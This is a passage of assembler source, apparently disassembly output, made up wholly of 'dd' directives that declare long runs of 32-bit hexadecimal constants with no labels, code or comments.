		dd 98E89F0Ah, 0A5801606h, 1B5A2271h, 0E64A3274h, 109B8A7h
		dd 7478C9A2h, 4289A316h, 0F64F4CF8h, 7DE1E048h,	47970B66h
		dd 0E1004A4Eh, 999EFAB3h, 5820CE30h, 1C8240ECh,	29750F45h
		dd 0A27C80B8h, 9DE2B0A8h, 0F8B6404Bh, 0F8E0C3E1h, 66008B10h
		dd 1E683C6Ch, 0B5D85605h, 1CE4CCE7h, 4CE79060h,	0AE35F10Ch
		dd 9FB187h, 193E48A1h, 0C076EABCh, 7BBFC100h, 9B97CF38h
		dd 3B651634h, 5BCA813h,	0A5ACE51Ch, 0FEB808A9h,	92A72F0Ah
		dd 9D8EE081h, 2F22A879h, 48DE54BAh, 4C5F00D4h, 0BD36632Bh
		dd 0AC17EEA8h, 0C4EC8E34h, 0A018B75Fh, 284CD48h, 0CA576607h
		dd 0B6026B46h, 23AD0269h, 0F550145Ch, 0E85D1EDBh, 859E577h
		dd 5671758Bh, 3A91BE0Ch, 1A733ED8h, 7F19F66Eh, 0F1BDA491h
		dd 0DE586402h, 0DF783476h, 54F040B5h, 0A0272530h, 9831CC51h
		dd 0FC058B56h, 0E8A84CB0h, 61008CCEh, 1E62DC98h, 95D9C6EFh
		dd 0E25C2CC4h, 2EA600D2h, 38B2C136h, 766B00E9h,	250F5980h
		dd 0AC4A359Dh, 5412F4ACh, 3330B8E7h, 25B43224h,	0BC642308h
		dd 3608E117h, 244D4CE8h, 140313BCh, 4D533AC6h, 60C39587h
		dd 0FC13DC42h, 200BD2C8h, 0E4ECA036h, 4ABAD954h, 9BFCC024h
		dd 5C5BD855h, 600286Eh,	0A618428Dh, 0E004F1D7h,	353208DDh
		dd 0B988D4BEh, 0C86F4E64h, 3479B800h, 92027818h, 581F1931h
		dd 886A5C40h, 6405E5A4h, 0C1C91B3h, 8F5C04ABh, 0BC6EBBA5h
		dd 46A75200h, 0B5DC84DFh, 5C123490h, 0E4A91DE1h, 0B2FCF35Ah
		dd 19EB3012h, 0DCE45409h, 49B180ECh, 2471BB53h,	847CEDC6h
		dd 0B03E592h, 11EC1D15h, 43C0801Bh, 9300EB1h, 0CF3F1098h
		dd 1EFF18E2h, 5B5CB920h, 6C6B61F4h, 864B32Eh, 0C5FEA2h
		dd 3610D7AFh, 152DDFA9h, 44345934h, 0CC0B56C9h,	0D06410h
		dd 16491E3Ah, 0B656C92h, 33368600h, 0C109C064h,	0A5A22202h
		dd 0A769AEFCh, 40A4DC91h, 0CFF8014Ah, 232AA902h, 0D5CDC717h
		dd 5FD2309Dh, 744008EDh, 9C16B32h, 9462EC5Bh, 6D13945Eh
		dd 0F804C0E7h, 95EF89BFh, 77C06F54h, 0B8DA6C09h, 0BCFC8651h
		dd 0B4719D89h, 0C354F980h, 95BDCAC8h, 571228C5h, 18A63817h
		dd 96E5CEF0h, 0A23C4DF0h, 22921014h, 3B2B8D02h,	0B4F907F8h
		dd 0CB5F7687h, 0F10411F3h, 8BF65EF4h, 0EB405484h, 0BC804835h
		dd 0D160BE7Dh, 0A46C7BAAh, 9CC2B5D8h, 73EBEC54h, 0CBD150D8h
		dd 3EA48358h, 80DB5F15h, 54738780h, 0ECE2A8CCh,	0C0BF80ECh
		dd 24D8147Ch, 25DD654Ah, 578BDCF1h, 0C074ED9Dh,	0A13E6E26h
		dd 3A03760Eh, 0FE29E4DCh, 352A6CF1h, 364C0604h,	0EE2D199Ah
		dd 0F0E0C0DEh, 0BD25A31h, 0F0FE9F6Ch, 60605449h, 0C9B20D15h
		dd 68D0285h, 0BAFF7A46h, 5E10F404h, 8E7C1821h, 3900BE08h
		dd 0C399D374h, 0C330AD25h, 18F2C030h, 0E8324A1Dh, 723BC18Ch
		dd 50022CAh, 0E227BD6Ah, 0E12C6DC8h, 0DF40182Ch, 23225198h
		dd 15AFCE0Eh, 7CCACAFDh, 275A7C11h, 71094EFCh, 54C9005Eh
		dd 0F4D32528h, 690478h,	0F836FD6Fh, 0F96E1595h,	36B1127h
		dd 0C834ACE8h, 0A073022Dh, 5E0B8DA8h, 8C50B45Eh, 5359E102h
		dd 0C0AB0124h, 4AED3498h, 0AC88A956h, 1A128C20h, 6A0226A8h
		dd 7FAF7578h, 0C484F009h, 0C017FFC2h, 0B384409Bh, 57DC82A5h
		dd 14552742h, 3B724554h, 0D43B7487h, 0DE5B0068h, 0DAE80F34h
		dd 0DDB46097h, 1E680970h, 975620Dh, 0D6D8FE4Ch,	817BEE21h
		dd 3F4C969Fh, 6ED770B0h, 8FBA5112h, 864446EBh, 4495699Bh
		dd 1A88A06Ch, 2F40A5A1h
		dd 0F091B495h, 0D9C2F680h, 0AB059DACh, 140B4DE7h, 510427ABh
		dd 49A4E41h, 0BC6234C1h, 9C89F902h, 0C7B734D8h,	60784480h
		dd 73EB5E77h, 2E7601F8h, 32074CB1h, 5F882C49h, 6B130CE3h
		dd 8020F279h, 404C3AE9h, 3253000Dh, 4DFDD618h, 1B4B6341h
		dd 56430882h, 0EE0650F4h, 0A79D7AFAh, 50F15DBCh, 0C67E70F4h
		dd 4295193Ch, 91E81700h, 0A73F81F1h, 0B0CBF2E9h, 4F15B4A5h
		dd 330B2D9h, 63B7032Fh,	553182E8h, 0C4910CB5h, 7A3DAF81h
		dd 4F02F36h, 27D700ECh,	7F70E3DCh, 0A75BAC26h, 71805C9Bh
		dd 7870EE8h, 3902BD07h,	54BB55A9h, 1D46744Ch, 0FF216702h
		dd 2C5DF507h, 0E9F4868h, 0B1F9A25Bh, 44DCE309h,	11B4674h
		dd 1D518923h, 3C37D4F4h, 6A3067A0h, 1551D100h, 6E6CCBE0h
		dd 8C4BD74h, 0F8796F27h, 59EF64E0h, 1CCCEFE6h, 4FE778B7h
		dd 8830528Ah, 9D72FB54h, 4608220Bh, 0D64CD63Fh,	90D27602h
		dd 0D13F1934h, 1820D1A4h, 4BBB00F0h, 0B8DE758Fh, 6004FAA5h
		dd 0DA32F7EDh, 77DC1080h, 2D20996h, 0E4626D6Ah,	72FC4055h
		dd 0C41D95D7h, 0FA812191h, 0F0E36D93h, 2309DAC7h, 7042FE3Bh
		dd 76109660h, 733F6E46h, 87BF4906h, 5109197Ah, 750DFB24h
		dd 5409B092h, 80A48F55h, 6B7B2B66h, 9587Dh, 0F6C0AE3Eh
		dd 0C989BF11h, 0BD92A717h, 6DE1368h, 74236C3Ah,	1D889D00h
		dd 0A9A8BCh, 72B10E7h, 0F1D31808h, 38154C2Eh, 56D4EB0Bh
		dd 0C200DC8Ch, 0EF022036h, 0BB776B40h, 65121C54h, 0D38F38DBh
		dd 104533D1h, 38FF2A61h, 0F3404C64h, 90404A24h,	4F92AA8h
		dd 0F4614425h, 3400DC38h, 29B9D0CAh, 2889968h, 253208DEh
		dd 14D5C40Dh, 6EB48DB0h, 213F8A00h, 0FAFCF902h,	0E05670BFh
		dd 0E82095ADh, 4B45B376h, 34F08E00h, 0BCA20580h, 12E8B0F1h
		dd 0E650E874h, 9A010250h, 14C421B1h, 44B795h, 93A4F516h
		dd 6A4B0F45h, 0B94A84F9h, 0E50E8A4h, 0A2AF7A6Ah, 7A9692Ch
		dd 0FE0A3090h, 547B3F0Ch, 21D465Ch, 2430CFA3h, 994C405h
		dd 8BAA320Eh, 0D43AF048h, 20F1C0B9h, 82FE2318h,	30F97D4Bh
		dd 70FF540Bh, 0F264A854h, 1525015Fh, 3E85A201h,	7CA8B812h
		dd 0A9927006h, 0DB9708CAh, 4C9580ACh, 8750BBA2h, 1434E388h
		dd 6817D1B1h, 72CC804Eh, 0D64C3CF4h, 0F97874h, 1F7DAD35h
		dd 0F132824h, 0A8564D32h, 316E8174h, 844683BAh,	0F0C69FC6h
		dd 10BB1300h, 0FC649539h, 0A2E64E3Ch, 0AB50F2Ch, 0AB87A1C4h
		dd 0B7F8FDF1h, 8B5600D4h, 1DC54B5Ah, 60998DC0h,	44125417h
		dd 13230421h, 2A78B02Eh, 80001741h, 1C39886Eh, 12B23EECh
		dd 104CAC37h, 0A44A9C42h, 6E881F64h, 3124B29h, 0E2621094h
		dd 48A3B94Fh, 5E169F09h, 4184D47Eh, 8D0F77A6h, 0BFD0E684h
		dd 889C9C98h, 0D630A1BDh, 8AFF9819h, 1740BE45h,	0A2A00472h
		dd 496E01D7h, 509799E6h, 70E00865h, 160BA0ACh, 9F6C5082h
		dd 231348ECh, 44F6FCEEh, 7CECCFF0h, 73886148h, 1276CB0h
		dd 1654DA6Ah, 0F8529A3Dh, 80CD4AE8h, 0FDDCC83Eh, 4073CD1Dh
		dd 0FEB1E5C0h, 3AC7A65Ch, 0BB00D806h, 0ED2537C1h, 9B257E0Bh
		dd 76CCDEEFh, 77017546h, 8F57099Dh, 80CDC17h, 11B42350h
		dd 8504FA3Ch, 6CDA7E74h, 0F1F1A4F2h, 3EC0C7Bh, 4A969F5h
		dd 5D90B561h, 4000DC4Bh, 0E6449B6Ah, 9FF6D23Bh,	10D9D800h
		dd 1610A031h, 0FE03DA92h, 5408D69Ch, 0C9FD0EE9h, 1318BB9Fh
		dd 10824E42h, 7C36D535h, 1F48B59Dh, 0B454802Ah,	0AC6B0B1h
		dd 488AE22h, 0E96C572h,	4D8B80DDh, 43254117h, 5818533Fh
		dd 10012E0h, 0AE2972BBh, 495442Ah, 0AC6740E3h, 8852AB86h
		dd 731FA06Fh, 904E7BD9h, 45BD7878h, 3FFF7D00h, 0A70239D1h
		dd 715E00C9h, 0FE9E68CAh, 689ECB6Eh, 0D2F69FE1h, 411909E7h
		dd 4C86AFAh, 5F82D9E2h,	3F64AC65h, 5946BFFh, 0AB5AC1ECh
		dd 0D1F210A2h, 5FE12831h, 9BDBC30h, 0AC12462Eh,	0E6519C56h
		dd 0F1D2FC13h, 3BF0747Ah, 926E37Bh, 719ECC7h, 82D72A99h
		dd 5CB55543h, 0DC807711h, 60F53FE3h, 7A255404h,	40BA62BDh
		dd 6640ED48h, 30009121h, 0D0E9134Bh, 141A8A4h, 76E3A66Fh
		dd 3FF94C37h, 0AF64C8h,	0DBE16D8Dh, 67817801h, 40DE5402h
		dd 5CB8A9D9h, 8495098h,	0D0845397h, 0C2E5DA10h,	6AE6AC5Ch
		dd 0F8FF4B49h, 1A55A2C8h, 1FD4647Eh, 0BF91E0h, 0E08F277h
		dd 80B295FAh, 10A8C4B5h, 4AD0D616h, 2CF960A0h, 125C7456h
		dd 0B464E45Fh, 0B751540h, 0B8F0E671h, 46DCFCFEh, 60E326C4h
		dd 0F01F920Ch, 0E4235461h, 21A10079h, 95CD45AAh, 2E123B20h
		dd 74AAB2FBh, 0A8E0A90Ch, 8BE04B1h, 5F3D592h, 14F9AD40h
		dd 1F2B400h, 0AC980299h, 0C5AFE800h, 6741F8A4h,	8EF7022Ch
		dd 0B7216B88h, 0F550C25Dh, 8360FC9Ah, 4200DF22h, 0CA645D70h
		dd 5A24B72Bh, 0EFC0FA6h, 0D4FCEC6Bh, 0DED45B05h, 0A10080F3h
		dd 0B61C9F5Eh, 0AA00FC30h, 0C72CA09Ah, 97695388h, 0E9785C00h
		dd 3F4F0B80h, 1BACF0EDh, 0F40E7B02h, 5578164Ah,	0D440AC4Fh
		dd 4C68309Ch, 0A84B7C6Ch, 328ACF34h, 1FAF70F0h,	309A2970h
		dd 4ED95D68h, 0DE164425h, 0CA4676A4h, 26AF0D0Bh, 0A08D0085h
		dd 44B53B00h, 6F6B1158h, 15371270h, 34C42CD7h, 55327082h
		dd 0B777549Ah, 4C961FA0h, 4A78F1EFh, 5504C29Dh,	5900B8B7h
		dd 51A6857Ah, 0D3C004DFh, 120AF6D1h, 0E6EC20EBh, 8239B6ACh
		dd 0DD8501BCh, 0F5F06A67h, 72421FC4h, 95970052h, 8E0F8F54h
		dd 0F916F683h, 74A96C49h, 0BA2FCDC1h, 38C42A40h, 555A004h
		dd 13AC2E1Ch, 4A30E85Fh, 0B05B34A3h, 0CF80CEF8h, 3D1C00C8h
		dd 51A0110Fh, 36000DDDh, 0ABD4BBF9h, 0A7D86178h, 7BEE42A8h
		dd 25B118h, 3E353C47h, 0AFF0E984h, 0CED43725h, 7140B138h
		dd 5F01871h, 7EBBA320h,	817CECB7h, 0A7FF3CADh, 1D0BC920h
		dd 4FC06CD5h, 253F5993h, 3A2A9490h, 0B0648740h,	0BA650904h
		dd 377DEB02h, 0D660803Ch, 7E2DD718h, 9BC7151Ch,	0C13216FAh
		dd 956F80A0h, 1143CE4h,	5ED07D3Ah, 9D0802B8h, 0C7030B5Dh
		dd 38242585h, 0FE4E030Ch, 23C0699Bh, 0BD835D2Fh, 4BB92C16h
		dd 0ED948AFh, 958D8982h, 1EE9030Ah, 0FC531700h,	0C30505Fh
		dd 0E644E011h, 0E8C11E01h, 20EB310h, 3F04C83h, 0E9038358h
		dd 0EBE77504h, 81367736h, 857B0E64h, 29501B8Ch,	1821D028h
		dd 1135833h, 701B5742h,	89C08B02h, 0DD1E19BDh, 0F707AEECh
		dd 375A5866h, 1AB8B9A0h, 257B02F0h, 6C107479h, 0C0496DD7h
		dd 58B79C17h, 0CC421500h, 31B8ED3Dh, 1ADABFBDh,	0DC18B482h
		dd 0AA74850Fh, 0D01553B7h, 0FA528B02h, 37FC5DFh, 80B79EBFh
		dd 0F51FB5D1h, 7D9C0765h, 0C519D23h, 88300FB4h,	0BF662D04h
		dd 0FF901452h, 0B95F3FB5h, 8FB829h, 0A6D3BD58h,	987BA58Bh
		dd 9D107075h, 0E9142B0Dh, 90005008h, 7A7C8011h,	0FF0CBD57h
		dd 260E3595h, 20B5308Bh, 0C7F1BB89h, 0F5E72DEEh, 0EF94C301h
		dd 64B83FF9h, 0BAC6BC00h, 0D88B57F0h, 85290C5Fh, 96760655h
		dd 0D516666Bh, 870F4301h, 0BC3FBC02h, 0B331035Fh, 29585ACEh
		dd 4B98DF2Bh, 0A2B577h,	1875FB9Ah, 3D017B28h, 9D3398B2h
		dd 50404D5h, 0AF1D598Ah, 0A2826ADEh, 0C182B048h, 0AE940AC1h
		dd 85C4C7DFh, 0B911049h, 1A7EFBBFh, 0BA8749E1h,	953DCC5Dh
		dd 8A491968h, 4C28307h,	30D8FE3h, 0B589602Fh, 240225F1h
		dd 4BE88166h, 507A6015h, 0B2535420h, 858D0D5Bh,	0E488CE09h
		dd 0B2FFF1BDh, 2BB87C34h
		dd 813318DFh, 0AC7F0AC3h, 31865482h, 42C29D4h, 0A66FC429h
		dd 538DA026h, 753F0021h, 2C96E4B4h, 0E70581B3h,	60CC5EB6h
		dd 23E1C504h, 0F0F9A6AAh, 1DDA4A5Ch, 5178970h, 0BB820F3Bh
		dd 41657F8Ch, 508AF127h, 2141850Ch, 0FBF5080h, 6F594D01h
		dd 25243485h, 0D5C4FB7Bh, 2DACCD58h, 0B509800Eh, 59280D26h
		dd 91CA142h, 44572E25h,	91D0D34h, 36485596h, 8601B0C0h
		dd 0D7B2A24Eh, 156080D3h, 0EB0A152h, 6D3C7108h,	0C8968013h
		dd 0DF81FDF7h, 84F11B97h, 0EAE5025Fh, 64807B9Bh, 0E0126F03h
		dd 14110A48h, 0A2F72A21h, 0C646160h, 0B9C8BB15h, 0D3E102C2h
		dd 0F381C9EAh, 52D17141h, 90856189h, 6FB75419h,	391FCD12h
		dd 1F67B23h, 0A0416BA2h, 65FB3BDBh, 829ABF3Fh, 3FF81380h
		dd 1812C582h, 0A5024C58h, 40788BEBh, 0A419F57Ch, 0CCD20E9h
		dd 13AF024Ah, 23423E9Ch, 0FEB2001Dh, 0F5209D5Ah, 6E3321E0h
		dd 503D7097h, 416954CDh, 0D5AA0123h, 0FB02050Fh, 231E58Dh
		dd 715561FCh, 194ECC2Eh, 92C63040h, 285DA13Eh, 692A8672h
		dd 31DCD4h, 0E9F6DB80h,	0FF71F462h, 9AB5759Fh, 3ACF5882h
		dd 0B644F741h, 8400A279h, 295026E4h, 0E87440AAh, 0C31800E6h
		dd 0CDFCE8C9h, 790513BFh, 0C18B448Ah, 41F58DEFh, 8421E148h
		dd 2C959D0Dh, 5BB5000h,	2E5FA1A7h, 0AD5BC1ECh, 509BB890h
		dd 0B769AAA1h, 0FBBF33D8h, 24527989h, 0C41D51Ah, 3736A803h
		dd 2D2FC4Ch, 0D1224C92h, 8DF0B24h, 4DEB51Ch, 545ED61Eh
		dd 3CE9290h, 0F8FC0729h, 5061D021h, 498D29FCh, 571E0515h
		dd 220D2460h, 0BD3308A9h, 610C1FC1h, 0DBB8A5Fh,	7A247084h
		dd 0AD45410Eh, 3BF77B20h, 9FD78007h, 8CDF1B8Dh,	266DF125h
		dd 0DEDCD1FFh, 0B2B97BBFh, 7C4AC1B8h, 0E4CFF677h, 227A5443h
		dd 3AE84818h, 0B17EA980h, 0FE3A3F44h, 583585Dh,	9BBDD071h
		dd 7FC9A181h, 0FE02EE94h, 5C81D52Ah, 507AD090h,	59B39C32h
		dd 0FB9647B8h, 0BF17EE20h, 15F03F9h, 0C4C6BE9Fh, 7B0DDBF1h
		dd 0ACA7CF2h, 0BD0185FBh, 0A685BE59h, 108094DBh, 943DFD3Bh
		dd 89AFB800h, 0D1BB4324h, 235F2413h, 97440B31h,	60BF37A1h
		dd 8BD0865Ah, 3C1250DEh, 0F5AD94BEh, 59CAD0DCh,	2D2ABD08h
		dd 0ABCFD6D6h, 0F499DFDAh, 2F6CFE0Fh, 0CF152534h, 0C9B51780h
		dd 9C73BD28h, 231D98D3h, 37A81DC2h, 0F841227h, 8C708D3Dh
		dd 25E989A5h, 1B55014Ah, 0D359D0E3h, 0BBC30002h, 0B0363D97h
		dd 5F488A7Ch, 2CE510B7h, 31F8E07Ah, 0D95C70E6h,	71E40125h
		dd 0CDA27Fh, 774C86CEh,	39CC0F20h, 0E95E43D8h, 10E14C8h
		dd 19E1107Fh, 0C8B61E7Ch, 45CB662Bh, 0BF9335BAh, 6C20AEC9h
		dd 999D1023h, 53BC5E1Fh, 0BAB8B717h, 2BF82800h,	24E9B3C8h
		dd 0CCCD18Bh, 14F104B5h, 800F73A1h, 0AD82970Bh,	74A3867Fh
		dd 0EA2C0153h, 0F8EC1B4Ch, 311960AEh, 0BD041FB1h, 0C1226ADh
		dd 11BE0737h, 0EF0945E1h, 3D548Ch, 20241831h, 75AEB672h
		dd 0F2C95D02h, 86D03B54h, 982B2A82h, 82C55427h,	17816BE9h
		dd 6A2310DFh, 69C13EC7h, 0CB929380h, 99DD5ABEh,	0F6348001h
		dd 94577D7h, 0B04B660h,	5B4EED85h, 68FD9A7Dh, 0B7E6C7C4h
		dd 842214DAh, 0BD89864Eh, 0F60A373h, 0A1959FFh,	0A5835D0Ah
		dd 0E8FE0A2Dh, 52B20020h, 0B7208FADh, 0A100FC77h, 0E0B491BAh
		dd 4C2E9Ch, 6A42139Fh, 5F14E380h, 9DADF6D0h, 32DDB584h
		dd 0C151E90Dh, 13C7EC8Dh, 0EC854C48h, 9D008C1Bh, 6D11A745h
		dd 0B829EAB3h, 1B2D259Dh, 58D8928h, 0EF9C0FC7h,	0F92A698Dh
		dd 0BAC7Ch, 0ECF8CA4Ch,	0CFB923C7h, 65C20870h, 856C3BD3h
		dd 0AEDBFCBFh, 0D88ACDC0h, 0D1731621h, 5CFC4D2Fh, 0E01DDC8Ch
		dd 3280E60Ch, 0B6BF1342h, 6A2B2580h, 0FE165FAEh, 0BF4AB66Eh
		dd 0BAF96A05h, 0ED04257Bh, 83B649F8h, 1FCE910h,	0D1C233ADh
		dd 0D2D04C93h, 0C043F4B2h, 810031DAh, 2FAA5CE7h, 0FFD6644Fh
		dd 596900DCh, 37C14D53h, 6D98ED96h, 382AB920h, 0B95F880Dh
		dd 711E8A5h, 0F58619Bh,	5C8B24F4h, 0DF4F1A27h, 0FAC055EDh
		dd 0B23D8589h, 35FCA088h, 6AD3BF0Fh, 35C18D0h, 0E0C6D21Fh
		dd 0FD581BEh, 319091B3h, 10F10E5Fh, 0C2F35003h,	0C103E3CFh
		dd 56E9087Fh, 585E19D4h, 0F48085BCh, 22EE3478h,	4195290Dh
		dd 0CE61442Eh, 48276090h, 0E95D2EFFh, 19A5BD41h, 0EB93FE2Ch
		dd 8C3649F1h, 27F118F0h, 0EB9A6C00h, 0B7B05A33h, 0A67D91B2h
		dd 0BD23C0CBh, 0C08214C9h, 0D64B64CDh, 596EFE0Ch, 4113513h
		dd 171E7172h, 0E1FF2C04h, 0B0FAE6AAh, 377BAAh, 41B011A0h
		dd 53B2DBFh, 0F0345F5Ah, 44D9944h, 0F500B6ABh, 9FBFB500h
		dd 0A421226Bh, 3901402Fh, 882CD38Ah, 0E3A8F686h, 5E1DDD20h
		dd 0B89FBD60h, 0BAE7915h, 0A7BD8416h, 5FDD10FFh, 283A0004h
		dd 0E6AA9F0Dh, 8051AE1Bh, 0DA8030ADh, 0BF78F8BDh, 0A71DDDBh
		dd 40B05D0h, 0E180156Dh, 6AF6AA04h, 0F3B641B0h,	934CE212h
		dd 93C1D40Ah, 0A1C90A8Ah, 9EAF1A12h, 3E02963Eh,	0E3A8132Dh
		dd 6E578C54h, 8E2C058Ah, 0FBB65C7h, 0B904C459h,	0EDF781F8h
		dd 85330005h, 18889AC9h, 0DE1BD29h, 2CFA8D89h, 13665080h
		dd 853028BBh, 0F79B225h, 4168DAD2h, 5620E86Dh, 5880AAF4h
		dd 8C17BEDFh, 49AF0581h, 0AB61120Ch, 30B55CCCh,	9D6F0D85h
		dd 0E8812EF5h, 0FF090779h, 0D9691F03h, 6F09BB50h, 0F91B59EBh
		dd 0A74CE262h, 4AB7580Bh, 0A101FD05h, 93A67A31h, 6ACA96E0h
		dd 0ECB80B05h, 0F413FC87h, 0FB8BCA90h, 0F3D155E9h, 0A76BEA3Eh
		dd 0C7802B39h, 9A32890h, 304FE18Dh, 6924674Ch, 0B318E0C7h
		dd 858CF051h, 2571D93Fh, 1A8F107Fh, 2F09009Ah, 0B76823E3h
		dd 0BD006F34h, 0DCEE8650h, 2228B58Bh, 35284BB9h, 0F1254D1Eh
		dd 0B518552Bh, 0BF003487h, 7D6CA03Ch, 50B22666h, 9EE59713h
		dd 0DC5B1EA0h, 0FBE15EBFh, 6C4DE1D5h, 52B8A06Dh, 0F2656B09h
		dd 3FC655F8h, 0C0499D3Bh, 15952509h, 70BFB987h,	8922E4E1h
		dd 23044617h, 7080208h,	29505296h, 42587100h, 5FF0310Fh
		dd 0F5E75A77h, 963E3457h, 706973BFh, 0B13BC6A5h, 4B47003Ch
		dd 0BD032D8Ch, 480C5A91h, 356B24F5h, 0CEA482ADh, 0B982F747h
		dd 0A1472CB5h, 0FE12EAA6h, 8AC29D24h, 20BB2005h, 2B8A9D8h
		dd 0DE528AE0h, 0F600BBDh, 0D76A9981h, 28B37670h, 0FCB5524Eh
		dd 355F812Dh, 50C6AC15h, 4174676h, 0BAE7F977h, 2E0D3881h
		dd 37695002h, 0A408E8h,	0DB79B2C4h, 53926B91h, 83085C00h
		dd 24D08260h, 76CB1280h, 8BFF605Bh, 73BF61FAh, 5DF070DFh
		dd 4251639h, 569831BDh,	0EE341387h, 80B496ACh, 0EB80FB46h
		dd 9F8AA84Ah, 8476582Fh, 434612F6h, 191D0BEEh, 0E72390FDh
		dd 0E9041C11h, 93703845h, 3B8E7851h, 23A58301h,	1A6CA74Ah
		dd 0AAF12620h, 75C854EFh, 0C0256DC9h, 3F9A28E1h, 0F059F405h
		dd 0C8EB5220h, 3E03D64Bh, 81564868h, 76348042h,	0BA500001h
		dd 9C4440DAh, 5B2E1F12h, 0A12F8760h, 79B5231Ah,	95616A64h
		dd 1C38CD94h, 6EEF4A04h, 6F610F54h, 2AA4C0E0h, 0B02BB22Eh
		dd 88F970A2h, 6FD4B18Dh, 4DDFB340h, 0EEBC876Dh,	9D29123Fh
		dd 57D24B5Ch, 73C53F1Eh, 57F35BD6h, 159D310Bh, 0A4544A42h
		dd 805F376Bh, 99FC2B8h,	2509527Ah, 430C52Ah, 1EACD9B3h
		dd 8F0CDBD2h, 0D36480A0h, 9A35AC7Fh, 27E9203Dh,	78F01A95h
		dd 96314007h, 57087CD3h, 469E0Fh, 0DA6EBA3Ch, 0B50EB91Ch
		dd 4EFA1377h, 2C1236CFh
		dd 0B2ADC9BBh, 0C8FAC008h, 0B860962Fh, 801CE2BAh, 0D0A8CB9h
		dd 0AB614FDFh, 0D1CB81C0h, 6259255Eh, 1464C56Dh, 0B70F0160h
		dd 31F2FF65h, 0A8649194h, 0B451F6AFh, 21091BADh, 4C053856h
		dd 2A20B169h, 42E6EB35h, 883AA8E1h, 2526FDAEh, 475C0B6Ah
		dd 45C72F4h, 8322AEEDh,	4AD8E382h, 66B225C5h, 0C49FE700h
		dd 0E86E384Fh, 0C2722B25h, 0C0EEED20h, 4AB34D65h, 3B8C574Bh
		dd 4A0B9252h, 0F0B885Fh, 1EB21300h, 0E46E1C21h,	11DF070h
		dd 37BBA32Eh, 2EA57660h, 89A65134h, 0E8C79BE0h,	0A6D43A01h
		dd 99D8529h, 481D448h, 0EEC676F3h, 0ACC8BD1Dh, 6C4B8C14h
		dd 55325D9Dh, 0FC3115E2h, 6B82BD20h, 0CD0B1702h, 1D4DE602h
		dd 9B1E5006h, 0E1F912C8h, 915ED251h, 1D46D6h, 6E7EBC3Ch
		dd 1C45F56h, 81D8D18Fh,	44CA94D3h, 0C277ACEFh, 34299D89h
		dd 7BB1044h, 718B194Dh,	24E66050h, 0B3C509C2h, 5A6ADA8Ah
		dd 3121423h, 0A105D0AEh, 8100B1E5h, 3BDE090Bh, 5F5FF8B3h
		dd 874DF8F6h, 9DB7CE98h, 189905B0h, 511D04FCh, 0B8DF284Ch
		dd 0DAAFD256h, 486FC183h, 0E520C9D7h, 0D8294EF9h, 2500FF9Eh
		dd 3C9573F5h, 1A3FCD6h,	388A2DC1h, 5B947AE3h, 0C01A8886h
		dd 98BC1602h, 11F3FB16h, 295D970Bh, 8593599Dh, 8268CF81h
		dd 0EDC12139h, 715CC291h, 66112771h, 2ED6C9BBh,	90F24434h
		dd 1F36B07h, 1E00FBABh,	9D95295Fh, 3C88194Bh, 0BD891CF8h
		dd 3DC7651Dh, 0D700B7A6h, 0D5E95AACh, 0B3FF71F2h, 3FEE78A9h
		dd 878BF80Fh, 67CEC2B3h, 11FA5EC8h, 0DFB70029h,	0BF51C18Bh
		dd 2545753Bh, 39CE5F78h, 9D20ED20h, 0BF665100h,	70B09385h
		dd 0F94B6692h, 3DB2A112h, 25DFC24Ah, 467E225Ch,	0DC7F0417h
		dd 6B8C8EA6h, 621B00DAh, 0F363F595h, 4B143A79h,	77B4D251h
		dd 0BE840641h, 0E84CA1C1h, 182D1250h, 6A4B2FE6h, 9C110241h
		dd 0C0B05669h, 3E1EE1CFh, 0B79961C7h, 0C8BBF7E4h, 2B546966h
		dd 2BE9DA80h, 0B3D2AAB8h, 0E8BB4C18h, 4C008C1Ch, 0FD086667h
		dd 9BCFE3Ch, 419D2B20h,	8060B3A0h, 6604C0C7h, 61EB08BEh
		dd 0AFD248B8h, 2CC138DAh, 744BB36Eh, 0D15BFFC4h, 8412436Eh
		dd 0EC2F0CEh, 44611C97h, 6A27F5A3h, 918F1702h, 15388018h
		dd 0B874A7A2h, 5B22EDB4h, 99002053h, 0D9DE77EAh, 0CC0525E4h
		dd 0F1844AEEh, 0BB6FE252h, 9928F24h, 72B80F7Dh,	0EA00A441h
		dd 7EB556D4h, 2B6CE25h,	0DA8EE952h, 91C57CBCh, 5B52Fh
		dd 0E71B250Dh, 0E30E083Ch, 78359509h, 970E0287h, 0CB49C116h
		dd 0BCA5598Dh, 0D47207DEh, 898C5E3Eh, 57010A09h, 2EA7EBEFh
		dd 1ABDBA34h, 73407DB8h, 0C82D4B89h, 3048E841h,	4D413CB5h
		dd 5BD51C8Dh, 0FDDDC265h, 17E41EC7h, 72E63360h,	0C011CC48h
		dd 975E2BE4h, 18F80166h, 0C3338215h, 7602F7Ah, 0ECE8160h
		dd 0D8D4307h, 90CA8BE7h, 0F84C5FC7h, 29E261E0h,	0A4BCE90h
		dd 0ABD964ABh, 54EFAE2h, 0FBFF6A23h, 0F583C3DBh, 0DFF0EBACh
		dd 0E928092Dh, 8D33A077h, 0B2B5772Fh, 5111022h,	45209497h
		dd 553A885Ah, 10B01829h, 24B660D8h, 0B4619F41h,	196AF4h
		dd 65787B45h, 4C90EBA1h, 0FCE60492h, 0E661EA0Ch, 0E1CD7070h
		dd 945F202Eh, 7162E450h, 915611Ah, 18432672h, 0D029E510h
		dd 2BD912A3h, 562526F6h, 0D2F19E10h, 8B419800h,	4CA2581Eh
		dd 0AE2703D3h, 0B2E11394h, 885B07A1h, 26257D5Ah, 75863179h
		dd 3F212F2Ah, 496B8C0Fh, 4A8E5113h, 0E25F2511h,	0D847874Bh
		dd 50C82B11h, 0C91D429Bh, 0E4D16025h, 0A009009Ch, 9A9D24F3h
		dd 57246C92h, 167324Fh,	6813D5C2h, 62A9957Fh, 6585991Bh
		dd 3DBD0681h, 55262F1Ah, 0D7947E7Eh, 0ED6FC10Eh, 47B9040Ch
		dd 60772822h, 52BC895Fh, 0DE9C9C2h, 55631720h, 91130044h
		dd 7D8247F3h, 1B0DB3ACh, 2753E961h, 0DE48D900h,	0EC755F89h
		dd 0A4F1D38Dh, 3B43222Eh, 0C9A7A828h, 1842A510h, 82F25DFEh
		dd 81146E07h, 0E0EF8290h, 0F87471Eh, 0D9C5064Dh, 46357C31h
		dd 972F9520h, 40883008h, 0D211E381h, 0EC048E25h, 1D892330h
		dd 256DB0D8h, 0D5BA1Ch,	69B860C2h, 0B4F176A8h, 10BB4010h
		dd 0A400E1CDh, 0FBBF098Ah, 79D7F8h, 99604056h, 6195922Dh
		dd 6EAF6A4Ah, 0AB80E2Bh, 82CA2EB6h, 0E0B7D820h,	25F38128h
